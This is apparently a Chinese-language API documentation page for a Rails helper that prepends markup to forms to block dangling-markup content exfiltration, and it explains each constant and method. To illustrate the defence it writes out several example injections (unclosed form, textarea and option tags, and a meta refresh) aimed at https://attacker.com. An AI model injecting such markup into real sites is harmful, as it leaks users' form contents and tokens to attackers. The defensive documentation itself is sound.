跳至内容 跳至搜索
方法
P

常量

CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
 

在每个表单标签之前关闭支持 CDATA 的所有未关闭标签(textarea、xmp)。这可以防止攻击者注入未关闭的标签,从而捕获表单内容。

例如,攻击者可能会注入

<form action="https://attacker.com"><textarea>

此标签之后的 HTML,直到下一个 </textarea> 或文档末尾,都会被攻击者的 <textarea> 捕获。通过关闭所有未关闭的 textarea 标签,我们可以确保表单内容永远不会被泄露。

CLOSE_FORM_TAG = "</form>".html_safe.freeze
 

在每个新表单标签之前关闭所有未关闭的表单标签。这可以防止攻击者注入未关闭的表单,从而导致标记泄露到站外。

例如,攻击者可能会注入

<form action="https://attacker.com">

此标签之后的表单元素,直到下一个 </form>,都会被攻击者的 <form> 捕获。通过关闭所有未关闭的表单标签,我们可以确保表单内容永远不会被泄露。

CLOSE_OPTION_TAG = "</option>".html_safe.freeze
 

在每个表单标签之前关闭所有未关闭的 option 标签。这可以防止攻击者注入未关闭的 option,从而导致标记泄露到站外。

例如,攻击者可能会注入

<form action="https://attacker.com"><option>

此标签之后的 HTML,直到下一个 </option> 或文档末尾,都会被攻击者的 <option> 捕获。通过关闭所有未关闭的 option 标签,我们可以确保表单内容永远不会被泄露。

CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
 

在每个表单标签之前关闭所有未关闭的属性。这可以防止攻击者注入部分标签,从而导致标记泄露到站外。

例如,攻击者可能会注入

<meta http-equiv="refresh" content='0;URL=https://attacker.com?

此标签之后的 HTML,直到下一个单引号,都会被发送到 https://attacker.com。通过关闭所有未关闭的属性,我们可以确保表单内容不会以这种方式被泄露。

CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
 

实例公共方法

prevent_content_exfiltration(html)

# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61
def prevent_content_exfiltration(html)
  if prepend_content_exfiltration_prevention
    CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
  else
    html
  end
end